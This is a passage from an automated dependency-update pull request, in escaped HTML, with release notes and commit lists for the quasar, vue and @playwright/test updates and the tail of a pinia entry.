href=\"https://redirect.github.com/vuejs/pinia/issues/3185\"\u003e#3185\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/pinia/commit/f4e0cb7a8193f564c27f6527b3f954e114a7534c\"\u003e\u003ccode\u003ef4e0cb7\u003c/code\u003e\u003c/a\u003e docs: fix dead Vue Devtools installation link (\u003ca href=\"https://redirect.github.com/vuejs/pinia/issues/3181\"\u003e#3181\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/pinia/commit/a4eb2c581aab47916fa9531aee38a0e01af61617\"\u003e\u003ccode\u003ea4eb2c5\u003c/code\u003e\u003c/a\u003e fix: trigger shallow refs patched via object syntax (fix \u003ca href=\"https://redirect.github.com/vuejs/pinia/issues/2861\"\u003e#2861\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/vuejs/pinia/issues/3177\"\u003e#3177\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vuejs/pinia/compare/v4.0.3...v4.1.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `quasar` from 2.35.0 to 2.35.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/quasarframework/quasar/releases\"\u003equasar's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003equasar-v2.35.2\u003c/h2\u003e\n\u003ch2\u003eChanges\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003efix(QMenu/QTooltip): anchor inside a shadow root\u003c/strong\u003e -\u0026gt; a popup whose target lives inside a web component (a shadow tree) is positioned next to it again instead of landing at the end of the page. The native CSS anchor positioning cannot see across a shadow boundary, so such popups now use the JS positioning; everything else keeps the native engine (\u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/ui/issues/18576\"\u003e#18576\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003efix(iOS scroll lock): route change while a dialog or menu is open\u003c/strong\u003e -\u0026gt; on iOS, closing a popup after navigating to another route no longer scrolls the page back to the previous route's position. Hash router mode (\u003ccode\u003e#/route\u003c/code\u003e) used to be treated as the same route every time, and in history mode a path-shaped anchor (\u003ccode\u003e/a#/x\u003c/code\u003e -\u0026gt; \u003ccode\u003e/b#/x\u003c/code\u003e) was compared without its pathname (\u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/ui/issues/18573\"\u003e#18573\u003c/a\u003e, \u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/ui/issues/18574\"\u003e#18574\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003efix(date utils): extractDate() with a day-of-year token\u003c/strong\u003e -\u0026gt; a mask carrying \u003ccode\u003eDDD\u003c/code\u003e, \u003ccode\u003eDDDo\u003c/code\u003e or \u003ccode\u003eDDDD\u003c/code\u003e together with a year now resolves to that day, so \u003ccode\u003eformatDate()\u003c/code\u003e output round-trips (\u003ccode\u003eYYYY-DDDD\u003c/code\u003e used to give January 1st). A day of the year outside the year (\u003ccode\u003e000\u003c/code\u003e, or \u003ccode\u003e366\u003c/code\u003e in a 365-day year) is an \u003ccode\u003eInvalid Date\u003c/code\u003e; a full calendar date in the same mask still wins (\u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/ui/issues/18575\"\u003e#18575\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDonations\u003c/h2\u003e\n\u003cp\u003eQuasar Framework is an open-source MIT-licensed project made possible due to the \u003cstrong\u003egenerous contributions\u003c/strong\u003e by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sponsors/rstoenescu\"\u003eBecoming a sponsor on Github\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://paypal.me/rstoenescu1\"\u003eOne-off donation via PayPal\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003equasar-v2.35.1\u003c/h2\u003e\n\u003ch2\u003eChanges\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003efix(QMenu/QTooltip): \u003ccode\u003etarget\u003c/code\u003e as a CSS selector for an element rendered later\u003c/strong\u003e -\u0026gt; a popup whose anchor shows up after it mounted (a \u003ccode\u003ev-if\u003c/code\u003e that flips later, an async component sibling) no longer stays without an anchor for good. It used to ignore hover, click and focus on that element, refuse \u003ccode\u003eshow()\u003c/code\u003e and render unanchored on a model write. The element now gets picked on the first interaction with it, on \u003ccode\u003eshow()\u003c/code\u003e or when the model turns on. For a valid selector with no match yet, the console message is now a warning stating the deferral; an invalid selector still logs an error (\u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/ui/issues/18566\"\u003e#18566\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003efix(QBadge): printing\u003c/strong\u003e -\u0026gt; a solid badge keeps its background color on paper instead of leaving white text on a white page (browsers drop backgrounds when printing by default); the same treatment QCheckbox, QRadio and QToggle already have (\u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/ui/issues/18569\"\u003e#18569\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003efix(lang): Romanian (ro)\u003c/strong\u003e -\u0026gt; corrected mistranslations and grammar: the QEditor labels (undo, subscript, superscript, indent, outdent, the untranslated \u0026quot;Big\u0026quot; font size), the QTable selected-rows label (\u0026quot;Nicio\u0026quot;, plus \u0026quot;de\u0026quot; from 20 rows up), the QTree \u0026quot;no nodes\u0026quot; label and the expand label (\u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/ui/issues/18570\"\u003e#18570\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDonations\u003c/h2\u003e\n\u003cp\u003eQuasar Framework is an open-source MIT-licensed project made possible due to the \u003cstrong\u003egenerous contributions\u003c/strong\u003e by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sponsors/rstoenescu\"\u003eBecoming a sponsor on Github\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://paypal.me/rstoenescu1\"\u003eOne-off donation via PayPal\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/05ab1b17d0831db3c3d6edba1092b6f4f794b50c\"\u003e\u003ccode\u003e05ab1b1\u003c/code\u003e\u003c/a\u003e chore(ui/create-quasar): bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/bac7eca196f58486b6845b4e5c9066a64f66e002\"\u003e\u003ccode\u003ebac7eca\u003c/code\u003e\u003c/a\u003e fix(ui): run the JS positioning fallback for popups anchored inside a shadow ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/6330168d4d39e1fe20a066e11b16d920bd2e4848\"\u003e\u003ccode\u003e6330168\u003c/code\u003e\u003c/a\u003e fix(ui): keep the pathname in the scroll lock's route key under a path-shaped...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/7a27d68dcfce8b45806156debc687e4cda8d5968\"\u003e\u003ccode\u003e7a27d68\u003c/code\u003e\u003c/a\u003e fix(ui): compare the hash route path when releasing the iOS scroll lock \u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/ui/issues/1857\"\u003e#1857\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/28b2f588fbe82fe4620d70e48e84a528e3e2099a\"\u003e\u003ccode\u003e28b2f58\u003c/code\u003e\u003c/a\u003e refactor(ui): drop the unreachable persian guard from extractDate's day-of-ye...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/71967386c7c4f42f8c6ffeb22016899734b7ceb4\"\u003e\u003ccode\u003e7196738\u003c/code\u003e\u003c/a\u003e fix(ui): extractDate resolves the day of the year (DDD, DDDo, DDDD) (\u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/ui/issues/18575\"\u003e#18575\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/e7892cd249b848df043770e260f5c2844cd70e83\"\u003e\u003ccode\u003ee7892cd\u003c/code\u003e\u003c/a\u003e chore(ui/create-quasar): bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/fd259524a2797e7e9d0d0841c17cfb39746b2eb2\"\u003e\u003ccode\u003efd25952\u003c/code\u003e\u003c/a\u003e fix(QBadge): keep the background color when printing (\u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/ui/issues/18569\"\u003e#18569\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/4ac6d5f1b350d620b243efeefd077fb19dfb7710\"\u003e\u003ccode\u003e4ac6d5f\u003c/code\u003e\u003c/a\u003e fix(QMenu/QTooltip): pick a String target that renders after mount (\u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/ui/issues/18566\"\u003e#18566\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/08cbaa1273e2d96712f839ce8d37c1d49f874ff4\"\u003e\u003ccode\u003e08cbaa1\u003c/code\u003e\u003c/a\u003e fix(lang): correct Romanian (ro) mistranslations and grammar (\u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/ui/issues/18570\"\u003e#18570\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/quasarframework/quasar/commits/quasar-v2.35.2/ui\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vue` from 3.5.43 to 3.5.44\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vuejs/core/releases\"\u003evue's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev3.5.44\u003c/h2\u003e\n\u003cp\u003eFor stable releases, please refer to \u003ca href=\"https://github.com/vuejs/core/blob/main/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\nFor pre-releases, please refer to \u003ca href=\"https://github.com/vuejs/core/blob/minor/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e of the \u003ccode\u003eminor\u003c/code\u003e branch.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vuejs/core/blob/main/CHANGELOG.md\"\u003evue's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/vuejs/core/compare/v3.5.43...v3.5.44\"\u003e3.5.44\u003c/a\u003e (2026-10-13)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecompat:\u003c/strong\u003e expose _setupProxy for Vue 2.7 compiled script setup (fix \u003ca href=\"https://redirect.github.com/vuejs/core/issues/11164\"\u003e#11164\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15618\"\u003e#15618\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/f08059d0ca8cf28b8258a6095f8760fa1804d333\"\u003ef08059d\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ecompiler-core:\u003c/strong\u003e parenthesise v-for key in v-memo cache guard (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15724\"\u003e#15724\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/d084b904903a7710ea19b7256b7c681e838eb63e\"\u003ed084b90\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/15723\"\u003e#15723\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ecompiler-dom:\u003c/strong\u003e correctly stringify \u003ccode\u003e0\u003c/code\u003e and \u003ccode\u003efalse\u003c/code\u003e in \u003ccode\u003ev-html\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15571\"\u003e#15571\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/9f3b4377c4bb5ff32b35ff08ce7670f6be6f5dbb\"\u003e9f3b437\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ecompiler-dom:\u003c/strong\u003e inject transition persisted for v-show in production (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15783\"\u003e#15783\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/89cb2724bf3423fc38dca68af3139d736e6b4833\"\u003e89cb272\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ecompiler-sfc:\u003c/strong\u003e error when defineModel prop options reference a destructured prop (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15604\"\u003e#15604\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/38012a5ad90a41c228e153774d089cba9515cf2d\"\u003e38012a5\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/15602\"\u003e#15602\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ecustom-element:\u003c/strong\u003e skip mounting an async custom element removed while its component loads (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15777\"\u003e#15777\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/0f8e7b40175059e262e0db232ae0c08b427486b5\"\u003e0f8e7b4\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/15775\"\u003e#15775\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ehydration:\u003c/strong\u003e observe children of a display: contents root in hydrateOnVisible (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15773\"\u003e#15773\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/7f688e84745558d95b836c0aac25c3ca3257e943\"\u003e7f688e8\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eKeepAlive:\u003c/strong\u003e unmount pruned current component when its vnode was cloned on mount (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15711\"\u003e#15711\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/92798ac0a8810283055478dab1e54569f3e94c23\"\u003e92798ac\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/15710\"\u003e#15710\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereactivity:\u003c/strong\u003e avoid mutating native array iterators (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15703\"\u003e#15703\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/7f9d45d15bd10b6b9b136eb2b3a8879b449fec0d\"\u003e7f9d45d\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/15643\"\u003e#15643\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereactivity:\u003c/strong\u003e do not track deps in watcher callbacks run inside another effect (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15782\"\u003e#15782\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/db00fe9819eb17f0a5bde7e1fcfafe5984e267a3\"\u003edb00fe9\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/5009\"\u003e#5009\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereactivity:\u003c/strong\u003e once watcher should stop when its callback throws (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15755\"\u003e#15755\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/ae4bd94b6e5675f991696236dcc76a11d0597535\"\u003eae4bd94\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereactivity:\u003c/strong\u003e preserve shallow collection semantics (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15793\"\u003e#15793\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/b600466135e0910d142d14f56ffec933c1c420a2\"\u003eb600466\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/15792\"\u003e#15792\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eruntime-core:\u003c/strong\u003e detect new prop keys when comparing full props (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15634\"\u003e#15634\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/702fa61be9344852989bcd178681adec13264469\"\u003e702fa61\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/15632\"\u003e#15632\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eruntime-core:\u003c/strong\u003e keep async placeholder for block patching and pending component updates (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15554\"\u003e#15554\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/05ec25f835cc65058bac7a85e4a5eb8075ed3151\"\u003e05ec25f\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/15551\"\u003e#15551\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eruntime-core:\u003c/strong\u003e only flush jobs queued by the root render itself (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15757\"\u003e#15757\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/0bea14b962f1f6e27d2d994132efc2269945ab0f\"\u003e0bea14b\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/6728\"\u003e#6728\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eruntime-core:\u003c/strong\u003e render nothing for an invalid v-for range in production (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15742\"\u003e#15742\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/ad19e7da3d58b772513ba3c2ded731eedb7d227d\"\u003ead19e7d\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eruntime-dom:\u003c/strong\u003e preserve v-show display for unchanged style strings (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15794\"\u003e#15794\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/c0a6d3f2bbf80cf930f4c837409dbee95a149271\"\u003ec0a6d3f\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eruntime-dom:\u003c/strong\u003e treat playsinline as a boolean attribute (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15627\"\u003e#15627\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/a084e4486f1c4dc118518d43a1c7547031c53a5c\"\u003ea084e44\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eserver-renderer:\u003c/strong\u003e propagate async setup errors (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15857\"\u003e#15857\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/693037486f38b3d3acf4cdf7b9850917c44cf9cb\"\u003e6930374\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/15716\"\u003e#15716\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003essr:\u003c/strong\u003e honor falsy vnode content overrides (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15769\"\u003e#15769\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/c11c5c8f07c8527b537b9ce6d801f80bbdd12129\"\u003ec11c5c8\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003esuspense:\u003c/strong\u003e mount resolved async component with its own namespace (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15640\"\u003e#15640\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/2a086a2bee33abc30e20f8a3b0a2be418ae48967\"\u003e2a086a2\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/15639\"\u003e#15639\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003esuspense:\u003c/strong\u003e skip rendering async components unmounted while pending (\u003ca href=\"https://github.com/vuejs/core/commit/4ab865a848a1da3d10fb674f857e5fff13094644\"\u003e4ab865a\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eteleport:\u003c/strong\u003e move targetStart and keep children before targetAnchor (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15818\"\u003e#15818\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/d3c6e02e7405b9dafa75b1007ca45fb376d45729\"\u003ed3c6e02\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/15817\"\u003e#15817\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etransition-group:\u003c/strong\u003e measure nested groups against their moving outer item (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15848\"\u003e#15848\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/1936c8791b61374fd21a99c99f450ee2b057b33e\"\u003e1936c87\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/5385\"\u003e#5385\u003c/a\u003e \u003ca href=\"https://redirect.github.com/vuejs/core/issues/1531\"\u003e#1531\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etransition:\u003c/strong\u003e handle comment-wrapped component roots (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15853\"\u003e#15853\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/ff3501429d4970c37194708b055492a56d9e5be5\"\u003eff35014\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/6080\"\u003e#6080\u003c/a\u003e \u003ca href=\"https://redirect.github.com/vuejs/core/issues/5500\"\u003e#5500\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/core/commit/bf5f0dd877dd3c23ce85c2cbc1dd771567e84c8c\"\u003e\u003ccode\u003ebf5f0dd\u003c/code\u003e\u003c/a\u003e release: v3.5.44\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/core/commit/693037486f38b3d3acf4cdf7b9850917c44cf9cb\"\u003e\u003ccode\u003e6930374\u003c/code\u003e\u003c/a\u003e fix(server-renderer): propagate async setup errors (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15857\"\u003e#15857\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/core/commit/8e8c54756f057a47d46ad4bfe32cf1409476ed3c\"\u003e\u003ccode\u003e8e8c547\u003c/code\u003e\u003c/a\u003e chore(deps): update all non-major dependencies (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15585\"\u003e#15585\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/core/commit/4cb0ca8e207fa1c7fe029fe15e75bb518cc912a7\"\u003e\u003ccode\u003e4cb0ca8\u003c/code\u003e\u003c/a\u003e chore(deps): update playground (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15685\"\u003e#15685\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/core/commit/e38478f5b36a377d2a465fb40c882a61b1910df2\"\u003e\u003ccode\u003ee38478f\u003c/code\u003e\u003c/a\u003e chore(deps): update dawidd6/action-download-artifact action to v27 (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15768\"\u003e#15768\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/core/commit/1caed5ab1b8e9821926402621f7364205b44e559\"\u003e\u003ccode\u003e1caed5a\u003c/code\u003e\u003c/a\u003e chore(deps): update compiler (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15586\"\u003e#15586\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/core/commit/a49f451851d4ec4be1a5353960c4e328afd13367\"\u003e\u003ccode\u003ea49f451\u003c/code\u003e\u003c/a\u003e chore(deps): update lint (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15680\"\u003e#15680\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/core/commit/219b85809996bc57e275ba2d4a2b2c4da025da96\"\u003e\u003ccode\u003e219b858\u003c/code\u003e\u003c/a\u003e chore(deps): update build (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15679\"\u003e#15679\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/core/commit/ff3501429d4970c37194708b055492a56d9e5be5\"\u003e\u003ccode\u003eff35014\u003c/code\u003e\u003c/a\u003e fix(transition): handle comment-wrapped component roots (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15853\"\u003e#15853\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/core/commit/d084b904903a7710ea19b7256b7c681e838eb63e\"\u003e\u003ccode\u003ed084b90\u003c/code\u003e\u003c/a\u003e fix(compiler-core): parenthesise v-for key in v-memo cache guard (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15724\"\u003e#15724\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vuejs/core/compare/v3.5.43...v3.5.44\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@playwright/test` from 1.64.0 to 1.64.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/microsoft/playwright/releases\"\u003e@​playwright/test's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.64.1\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43247\"\u003e#43247\u003c/a\u003e [Bug]: _electron.launch intermittently loses a packaged app's first window since 1.64.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43242\"\u003e#43242\u003c/a\u003e [Regression]: Chromium 155+ aborts a preflighted cross-origin redirect whenever any route is registered (net::ERR_ABORTED)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/cfe490d941f992655948eee8fd4fd94e1c4234bf\"\u003e\u003ccode\u003ecfe490d\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43353\"\u003e#43353\u003c/a\u003e): docs: release notes for v1.64 Python\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/866cbb864009f84d7e8e41c64fdbfceff43f280d\"\u003e\u003ccode\u003e866cbb8\u003c/code\u003e\u003c/a\u003e chore: mark v1.64.1 (\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43354\"\u003e#43354\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/1b2924712024804936dbcfe9fabaa655d52325e5\"\u003e\u003ccode\u003e1b29247\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43250\"\u003e#43250\u003c/a\u003e): fix(electron): do not drop windows that have not navigat...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/632d976826c74b0163fd5201a05b7b4853ba3f4a\"\u003e\u003ccode\u003e632d976\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43249\"\u003e#43249\u003c/a\u003e): fix(chromium): disable 